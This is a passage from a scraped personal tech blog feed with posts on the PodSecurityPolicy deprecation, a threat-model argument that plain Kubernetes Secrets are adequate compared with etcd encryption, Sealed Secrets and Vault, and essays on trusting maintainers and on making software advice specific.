(Kubernetes' parent organization), a startup named Nirmata develops Kyverno</a>, which is almost equally popular and fills the same niche as Gatekeeper as a PSP replacement. Gatekeeper and Kyverno have wildly incompatible policy languages, which means application vendors can no longer ship PSP-related rule exceptions along side their applications like they can with e.g. Ingresses, NetworkPolicies, etc.</p> So if you want to install e.g. a log collector, you can't just helm install</code> it anymore like you could if the helm chart included PSPs. You have to go tweak your Gatekeeper/Kyverno policies over and over until the pods finally run. And now you are locked-in to either Gatekeeper or Kyverno's policy language.</p> Reason 4: This has already caused a zero-day</h2> In Kubernetes v1.23, ephemeral containers</a> were enabled by default. This presents a challenge to Gatekeeper/Kyverno since its one extra field in a Pod that they need to validate.</p> Unfortunately, at the time of writing Gatekeeper's PSP replacement policies still do not validate ephemeral containers</a>! Any v1.23 cluster which migrated from PSPs to Gatekeeper now has no protection against privileged pods! That's a 5+ month lag time! Another user</a> found that Kyverno also had a 1 month lag time</a>.</p> In contrast, both PSPs and PSA were updated to check ephemeral containers before v1.23 was released (PSPs: util.go</code></a>. PSA: visitor.go</code></a>). This is the benefit of being "in-tree" that Gatekeeper/Kyverno can't have. If there was at least a standard interface like CSI/CRI/CNI, that may have helped prevent this.</p> Takeaways</h2> I want to clarify that I don't think less highly of the various parties involved in the PSP deprecation process. PSPs did require some</em> kind of change, and sig-auth's reasoning at the time was solid. I'm only able to make my argument with the clarity of hindsight.</p> Since it's too late to stop the PSP deprecation anyway (merged 4 days ago</a>), I intend this post to just be a post-mortem, with the following lessons-learned:</p> Don't be afraid to make backwards-incompatible changes to beta APIs, especially if it's in the name of security.</li> Deeply consider how the whole ecosystem will react to a given change since it moves so slowly.</li> Learn from the success of the "Container Interfaces". They can prevent ecosystem fragmentation and compatibility issues.</li> </ol> Plain Kubernetes Secrets are fine 2022-04-30T00:00:00+00:00 It's no secret that Kubernetes Secrets are just base64-encoded strings stored in etcd alongside the rest of the cluster's state. Ever since the introduction of Secrets in 2015</a>, armchair security experts have been scoffing at this decision and seeking alternatives. I think those people are missing the point.</p> The design of the Secrets API dates back to before Kubernetes v0.12. In a thread the predates the original design document</a>, there's a line that hints at why people might be confused by Secrets:</p> Its hard to evaluate these alternatives without a threat model</p> </blockquote> That's exactly the issue. The naive approach to securing software is to blindly implement a checklist of security features. But a deeper understanding of security will quickly uncover that perfect security is impossible; you have to make trade-offs and prioritize the most likely scenarios. Creating a threat model</a> can help you make those decisions. Let's create a rudimentary threat model for Kubernetes Secrets and see what comes up.</p> A simple threat model for Kubernetes Secrets</h2> What are we protecting?</h4> Secrets are generally used to store things like database passwords and private keys meaning they are a high-value target.</p> What does a security failure look like?</h4> If an attacker is able to read a secret, they can use it to perform further attacks such as stealing data, modifying/deleting/ransoming data, or gaining authorization to do things like spawn pods that mine crypto. Normally we'd use something like DREAD</a> to rank the severity of different attacks, but exposing secrets is somewhat binary unless we have a specific secret in mind.</p> How can secrets be stolen (what can go wrong)?</h4> At a bare minimum, secrets need to exist in plaintext in the memory of whatever application needs it, where it can (almost</a>) always</a> be stolen by another process on the same node with enough perseverance. We also need to store the secret somewhere persistent. In our case, secrets are stored inside etcd and accessible from the Kubernetes API.</p> Since the secret must exist in those two places, they can be stolen in any of the following ways:</p> A malicious process on the same node (scan memory, or if not enforcing securityContexts, read straight from /proc or the CRI)</li> Root access to a control plane node (read etcd's memory, read the on-disk dump, or steal a client cert and connect directly)</li> Root access to a worker node (steal kubelet's client cert and read the secret from the API server, or read the secret file/env var directly)</li> Access to the physical server of a control plane node (plug the hard drive into another computer and read the etcd data or just dump the RAM)</li> Future unexpected attacks (this is a catch-all which helps us pick solutions that have a smaller attack surface)</li> </ol> Some of the more eccentric hacks like social engineering, malicious insider, human error/misconfiguration, or hardware supply chain attacks are of course possible, but outside the scope of what Kubernetes can fix realistically.</p> How can we prevent those attacks?</h4> For Attack #1: Stealing secrets from memory is a risk we're forced to tolerate. Applications could use auto-expiring tokens or multi-factor authentication, but those features are out of scope since they are application-dependent.</p> For Attack #2 and #3: Root access to nodes is a huge concern. This can be mitigated by general server hardening, patching, and preventing privileged pods from running</a>, but this is a very complex threat to address.</p> For Attack #4: Access to physical server can be somewhat be mitigated by encrypting disks at rest. Crucially, the encryption key MUST be stored in a separate security domain to get any security benefit. But since physical access is typically game-over, you just need some serious physical security.</p> For Attack #5: Here is where we have to gamble on future zero-days appearing. We can raise our chances by choosing simpler and well-tested methods, and it doesn't get much simpler than plain Kubernetes Secrets.</p> Takeaways from the threat model</h2> The threat model exposes an inconvenient truth that storing secrets is hard since the plaintext version has to exist somewhere (in contrast to e.g. password hashes). That's just the problem with reversible encryption.</p> Any improvement on the existing Secrets implementation would have to mitigate more of those attacks, but I posit that none of the proposed alternatives to plain Kubernetes Secrets offer enough extra security to be worth the hassle.</p> Alternatives to Kubernetes Secrets</h2> Let's looks at some of the alternatives that exist and see how they measure up.</p> Etcd encryption at rest</h4> I'm shocked this is still the #1 recommended alternative</a> considering how wildly useless it is.</p> Etcd encryption at rest</a> involves encrypting all Secrets inside etcd with a key that is... on the same filesystem as etcd itself. So none</em> of the four attacks in our threat model are mitigated here. Not even the "physical access" attack since the key is stored on the same disk! Or at least another disk that is accessible from the same host (not even an option mentioned in the docs).</p> Etcd encryption via KMS</h4> You can replace your encryption key from the above method with a Key Management Service from your favorite cloud provider</a>.</p> While this is listed as the "Strongest" method, it's basically just as insecure according to our threat model. An attacker who can access the node can just mimic what etcd does and decrypt the secrets before exfiltrating them. At least this mitigates physical access to the disk, if and only if the KMS client is authenticating to your cloud provider with an auto-rotating, multi-factor token.</p> Using this option requires a hard dependency on your cloud provider, a lot of complexity, and a BIG blast radius if it ever breaks. If you're forced to encrypt secrets at rest for compliance, this is unfortunately your best option despite it not tangibly benefitting your security posture.</p> Bitnami Sealed Secrets</h4> Sealed Secrets</a> really aren't an alternative to secrets, but I've seen people think they are. Sealed Secrets allow you to store encrypted secrets in version control. When you kubectl apply</code> a SealedSecret to your cluster, it gets automatically unencrypted and converted into plain Kubernetes Secrets by the Sealed Secrets controller.</p> Since SealedSecrets turn into plain Secrets, no attacks in our threat model are mitigated. If you have no other safe place to store Secrets, SealedSecrets is a good option, but our threat model considers out-of-cluster storage of secrets to be out of scope.</p> Vault Sidecar Injector</h4> Here's the big one people point to. At its core, Vault is just a key-value store with a few key features:</p> A clever Shamir sealing process</a>, which people immediately disable in favor of auto-unsealing</a> which negates the benefits of sealing just like etcd encryption via KMS.</li> A rich policy language, which few people bother to learn.</li> Great auditing, which no one monitors.</li> </ol> So in the end, Vault is just a key-value store unless you're paying $$$ for a managed Vault instance or a team of in-house Vault experts. I've worked for a company where we had a whole team running HSM-backed Enterprise Vault, but that thing still went down all the time.</p> But let's say you have the deep pockets for an impossibly-well-maintained Vault instance. You've just installed the Vault Sidecar Injector</a> in your Kubernetes cluster. Do you get enough security out of this complex arrangement to be worth it? I'd argue no.</p> The sidecar injector works by modifying pods to have a Vault client sidecar which authenticates to your Vault server, downloads the secret, and stores it in a shared-memory volume which your app can access like a regular file.</p> For Attack #1: Since the secret is still in memory, attackers on the node can still steal it.</p> For Attack #2 and #3: If an attacker hacks any node (worker or control plane), they can run any pod with the right Vault annotations and steal the secrets.</p> For Attack #4: If someone accesses the physical node, they can't get the secrets from disk, but they can get vault credentials (tied to the serviceaccount with a plain Secret) and steal the secrets that way if you are running Vault inside Kubernetes.</p> However, you still have to worry about physical access to the server where Vault is running. Vault encrypts data at rest when it is "sealed", but if you're using auto-unsealing, an attacker can mimic that process using your on-disk cloud credentials. Heck, someone with physical access to your server need not bother with reading your disk; they can just dump the RAM</a> directly if you have a free PCI slot.</p> For Attack #5: The complexity of running Vault greatly increases your attack surface. I trust HashiCorp to catch issues more than most companies, but more moving parts is always more risk. Sometimes that risk is worth it (like yes, hashing passwords is more complex than not, but the pros clearly outweigh the cons), but only if some of the other 4 attacks are mitigated.</p> So according to our threat model, using Vault introduces a few layers of indirection, but ultimately does not address more attacks than plain Kubernetes Secrets. Just using encrypted disks and storing the key somewhere safe would provide the same level of security MUCH more simply and cheaply.</p> Conclusion</h2> By creating a threat model that includes the kinds of attacks you want to mitigate, it's clear that managing secrets safely is extremely difficult. The problem is NOT that secrets are just base64 encoded; that was never meant as a security feature. And the problem cannot be simply waved away by software/cloud providers and their flashy documentation.</p> For something as security-sensitive and difficult as storing secrets, start with a threat model. If multiple solutions have similar security according to the threat model, pick the simpler one to reduce the overall attack surface.</p> Edited to improve cohesiveness 2022-05-01</em></p> Trust the Maintainers 2021-08-14T00:00:00+00:00 Since cyber attacks</a>, a building collapse</a>, and an infrastructure bill</a> have been in the headlines recently, I think the time has come for us to re-assess our relationship with maintenance</em>.</p> While I work in the "tech" field, I don't align myself with inventors, entrepreneurs, or green-field software engineers. I align myself with the whole spectrum of "maintainers", like civil engineers, power plant operators, janitors, building inspectors, security compliance officers, mechanics, etc. These jobs are mostly all considered respectable, but a building inspector will never get the same prestige as someone who invents a new gadget, founds a new company, or develops a new popular app. Why is that?</p> There's an organization called The Maintainers</a> which has a comprehensive list of reasons why we don't value maintenance, ranging from cognitive biases to historical reasons to financial incentives. But I'd like to focus on trust, and how mistrusting maintainers can lead to putting off maintenance.</p> Trust</h3> Trust has been dropping across the board according to the Edelman Trust Barometer</a>. I think the ripple effects of this are also being felt by the maintainers of the world. Maintainers are always vying for the trust of decision-makers to get anything done. That leaky pipe won't get fixed unless the suits approve the purchase order. But this imbalance of power is so frustratingly misplaced. The plumber who noticed the leaky pipes is the subject-matter expert</em>. They are well-aware that new pipes cost money, but they've seen (or learned about) the risk of leaving it unfixed. The person holding the checkbook hasn't. But somehow they get the final say? Why is the subject-matter expert not trusted to make the cost-benefit analysis?</p> The world of software security is another example where trust is lacking. In my experience, half the work is just convincing leadership to care the tiniest bit about security, which requires trust. Since it's difficult to explain e.g. a side-channel attack</a> to someone non-technical, your chances of getting resources devoted to fixing the issue are slim, unless they trust you already.</p> I'd say usually this mistrust is unfounded (based on bias, misunderstanding, or otherwise). But it's true there are some untrustworthy maintainers in our ranks. When kids get their first car, they're often warned of crooked mechanics. Or in the software world, "resume-driven development</a>" is similarly a problem. Perhaps some kind of formal licensure could help build trust, like requiring adherence to the ACM Software Engineering Code of Ethics</a>.</p> There's no doubt that maintenance is necessary and that we can never seem to do enough of it. But setting aside the cognitive biases or financial incentives against it, consider how trusting subject-matter experts plays into it. Think of the last time an outsider completely butchered an explanation of your hobby or field of study; that's how maintainers feel every time they get overruled by laymen.</p> Please make your advice more specific 2020-07-26T00:00:00+00:00 To those of you who give advice on which languages, methodologies, architectures, or whatever else to use, I want to start by saying thank you. Your advice is vital to the growth of millions of people like me who are early in their careers.</p> But I've noticed a pattern with software engineering advice that leads to over-engineering and unnecessary arguments. So I have a request:</p> Please make your advice more specific</em></p> It's too often overlooked that there isn't just one type of "software", thus it is rare for advice to be applicable to every situation. For example, advice for testing a small B2B web app might not work for embedded device firmware. But it might work for a large B2C web app. And since readers will rarely have experience in all of those situations, I think we should start being more explicit about the applicability of our advice.</p> Being more specific might help address two big time sinks in the industry:</p> Cargo-culting</a>, like when people read how great Kubernetes works for Netflix, but then they decide to use it for a little Django app (that was me a few years ago).</li> Bikeshedding</a>, like when people argue incessantly that a language is useless because it can't be used in some niche.</li> </ol> A good start might be answering questions like the following:</p> Does your advice apply to my scale? (local restaurant website vs. Youtube.com)</li> Does your advice apply to my type of product? (library, web app, CLI tool, firmware, on/off-premise, etc.)</li> Does your advice apply to my type of users? (developers, enterprises, regular people, etc.)</li> If not, what should I use instead? (like replacing Hadoop with find/xargs/awk</code></a>)</li> </ul> Of course, it's hard to find the right balance between hand-holding readers or just saying "buyer beware". But hopefully spending time to add an extra subheading on "Applicability" to READMEs or blog posts will pay for itself in time spent over-engineering and arguing over minutiae.</p>

Book Review: Security Chaos Engineering

Obtaining database passwords from a billion-dollar company

We've learned nothing from the SolarWinds hack

Self-attesting to a code of ethics

Hacking myself to prove a point

Know your carrying capacity

Under-documented Kubernetes Security Tips

The Fumbled Deprecation of PodSecurityPolicies

Plain Kubernetes Secrets are fine

What are we protecting?</h4>
Secrets are generally used to store things like database passwords and private keys meaning they are a high-value target.</p>

Alternatives to Kubernetes Secrets</h2>
Let's looks at some of the alternatives that exist and see how they measure up.</p>

Trust the Maintainers

Please make your advice more specific

Mac's Tech Blog

Self-hosting on a (knowledge) budget

Avoid building a security treadmill

Deno shows us there's a better way

Tech and the climate crisis

The next platform

Dear friend, you have built a Kubernetes

Flouting the Internet Protocols with Tunnels

Non-compete clauses won't go away unless we act

Security in the 2000s

DDoS attacks can threaten the independent Internet

Is there room for Docker Compose in a Kubernetes world?

Stop deploying web application firewalls

Mac's Tech Blog

Self-hosting on a (knowledge) budget

Avoid building a security treadmill

Deno shows us there's a better way

Tech and the climate crisis

The next platform

Problems with Kubernetes-based platforms</h2> You could train a large language model on Kubernetes complaints alone, but I'll just list some common ones:</p>

List of requirements for "the next platform"</h2> This is not an exhaustive list either, but we should probably have things like:</p>

Dear friend, you have built a Kubernetes

Flouting the Internet Protocols with Tunnels

Non-compete clauses won't go away unless we act

Security in the 2000s

DDoS attacks can threaten the independent Internet

Is there room for Docker Compose in a Kubernetes world?

Stop deploying web application firewalls

Book Review: Security Chaos Engineering

Obtaining database passwords from a billion-dollar company

We've learned nothing from the SolarWinds hack

Back to reality</h2> We're still talking about something that's probably a decade away or more, but given the benefits and the constant string of high-profile hacks like the SolarWinds hack, I'm just upset the ball still</em> isn't rolling in the right direction 3 years later.</p>

Self-attesting to a code of ethics

Hacking myself to prove a point

Potential Solutions</h2> I think a true solution to this kind of hack would be: proper sandboxing for desktop operating systems with a user experience that isn't built by masochists (looking at you SELinux).</p>

Know your carrying capacity

Under-documented Kubernetes Security Tips

The Fumbled Deprecation of PodSecurityPolicies

Plain Kubernetes Secrets are fine

What are we protecting?</h4> Secrets are generally used to store things like database passwords and private keys meaning they are a high-value target.</p>

How can we prevent those attacks?</h4> For Attack #1: Stealing secrets from memory is a risk we're forced to tolerate. Applications could use auto-expiring tokens or multi-factor authentication, but those features are out of scope since they are application-dependent.</p>

Alternatives to Kubernetes Secrets</h2> Let's looks at some of the alternatives that exist and see how they measure up.</p>

Trust the Maintainers

Please make your advice more specific

What are we protecting?</h4>
Secrets are generally used to store things like database passwords and private keys meaning they are a high-value target.</p>

Alternatives to Kubernetes Secrets</h2>
Let's looks at some of the alternatives that exist and see how they measure up.</p>